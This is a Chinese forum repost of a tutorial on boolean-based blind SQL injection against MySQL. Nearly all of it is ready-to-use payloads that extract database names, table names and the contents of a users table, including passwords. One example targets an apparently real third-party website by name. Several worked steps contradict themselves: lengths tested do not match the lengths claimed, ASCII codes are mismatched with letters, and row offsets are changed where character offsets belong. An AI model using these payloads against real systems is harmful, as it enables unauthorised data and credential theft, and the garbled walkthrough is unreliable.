社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

基于 MySQL 布尔值的 SQL 盲注

黑白之道 • 3 年前 • 539 次点击  

文章来源 :Khan安全攻防实验室 

识别漏洞

        通常在 Blind SQLi 中,您无法真正看到您输入的查询的输出。在这种情况下,验证漏洞的唯一方法是查看网站是否成功/部分加载。

使用以下查询来识别网站行为:

http://domain.com/index.php?id=1' AND 4570=4570 AND 'ZeoB'='ZeoB


页面完全加载成功。

http://www.nttbworld.com/tour-details.php?id=65' AND 4570=4570 AND 'ZeoB'='ZeoBFalse


页面将部分加载或什至不会加载。

检索数据库

检索数据库名称的长度

给定的查询将验证数据库是否有 14 个字符。

http://domain.com/index.php?id=1' AND (length(database())) = 15 --+


如果网站部分加载或不加载,则表示数据库不是 10 个字符长。

给定的查询将验证数据库是否有 9 个字符。

http://domain.com/index.php?id=1' AND (length(database())) = 11 --+


页面加载成功。数据库名称长度为 11 个字符。


检索数据库名称

        这种方法很慢,因为我们必须对数据库的每个字符进行命中或未命中。下面就让我们一起来看看吧。下表将帮助我们将 ascii 转换为字符串。

给定的查询将定义数据库名称的第一个字符是 111 (o)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 110 --+


网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。

给定的查询将定义数据库名称的第一个字符是 110 (n)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 109 --+


网站完全加载,这意味着数据库的第一个字符是n

继续枚举数据库名称的第二个字符。

给定的查询将定义数据库名称的第一个字符是 98 (h)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 97 --+


网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。

给定的查询将定义数据库名称的第一个字符是 116 (t)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 115 --+


网站完全加载,这意味着数据库的第二个字符是t

继续一遍又一遍地执行相同的过程,直到找到所有 11 个字符。

第一个字符:110 -> n
第二个字符:116 -> t
第三个字符:116 -> t
第四个字符:104 -> h
第五个字符:119 -> w
第六个字符:102 -> f
第七个字符:105 -> i
第八个字符:57 -> 9
第 九 个字符:95 -> _
第 十 个字符:100 -> d
第 十一 个字符:98 -> b

所有 11 个字符组合在一起将是数据库名称:ntthwfi9_db

检索表名的长度

给定查询将测试第一个表的字符串长度是否等于 4 的条件。

' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 4 --+


网站没有正常加载,如果长度是5个字符我们试试:

' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 5 --+


网站加载完全,所以第一个表名的长度是5。

注意:您也可以通过更改这部分有效负载中的数值来枚举其他表:(限制0 ,1)。只需用另一个号码替换它。例如,让我们看看第 4 列是否有 6 个字符:




    
' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 --+


检索表名的名称

在这种情况下,我将列举第一列。让我们找到表格的第一个字符:

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 108 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 114 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select


    
 table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 116 --+


网站完全加载,这意味着第一个字符是 ascii 117 (u)。

让我们找到表格的最后一个字符(第 5 个字符):

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 96 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 105 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit


    
 4,1) ,1,1))) > 114 --+


网站满载,这意味着第一个字符是ascii 115(s)。

继续对其他字符执行相同的过程,直到找到所有字符。

第一个字符:110 -> u
第二个字符:115 -> s
第三个字符:101 -> e
第四个字符:114 -> r
第五个字符:115 -> s

所有 5 个字符组合在一起将是第一个表名:users

检索列名的长度

使用与之前相同的方法,枚举列名的长度。

下面给出的查询将测试字符串长度是否等于 6:

' AND (length((select username from users limit 0,1))) = 6 --+


网站加载不正确,列不是 6 个字符长。

下面给出的查询将测试字符串长度是否等于 4:

' AND (length((select username 


    
from users limit 0,1))) = 4 --+


网站已完全加载,列长度为 6 个字符。

使用相同的方法,您还可以枚举其他列。

枚举第二列的长度是否为 6:

' AND (length((select username from users limit 1,1))) = 6 --+


枚举第三列的长度是否为 5:

' AND (length((select username from users limit 2,1))) = 5 --+


检索列名

既然我们知道列名的长度是4,那么我们来一一找出字符。

下面给出的查询将测试第一个列名的第一个字符是否为 ascii 101 (e):




    
' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+


网站没有正确加载,第一个字符不是e

下面给出的查询将测试第一个列名的第一个字符是否为 ascii 112 (p):

' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 111 --+


网站未正确加载,第一个字符为p

下面给出的查询将测试第一列名称的第二个字符是否为 ascii 97 (a):

' AND (ascii(substr((select username from users limit 1,1) ,1,1))) > 96 --+


网站未正确加载,第二个字符为 a

下面给出的查询将测试第一列名称的第三个字符是否为 ascii 115 (s):

' AND (ascii(substr((select username from users limit 2,1) ,1,1))) > 114 --+


网站未正确加载,第三个字符为s

下面给出的查询将测试第一列名称的第四个字符是否为 ascii 115 (s):

' AND (ascii(substr((select username from users limit 3,1) ,1,1))) > 114 --+


网站未正确加载,第四个字符为s

第一个字符:110 -> p

第二个字符:97 -> a 

第三个字符:115 -> s

第四个字符:115 ->s

所有 4 个字符组合在一起将是列表名称:pass

侵权请私聊公众号删文


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/127029
 
539 次点击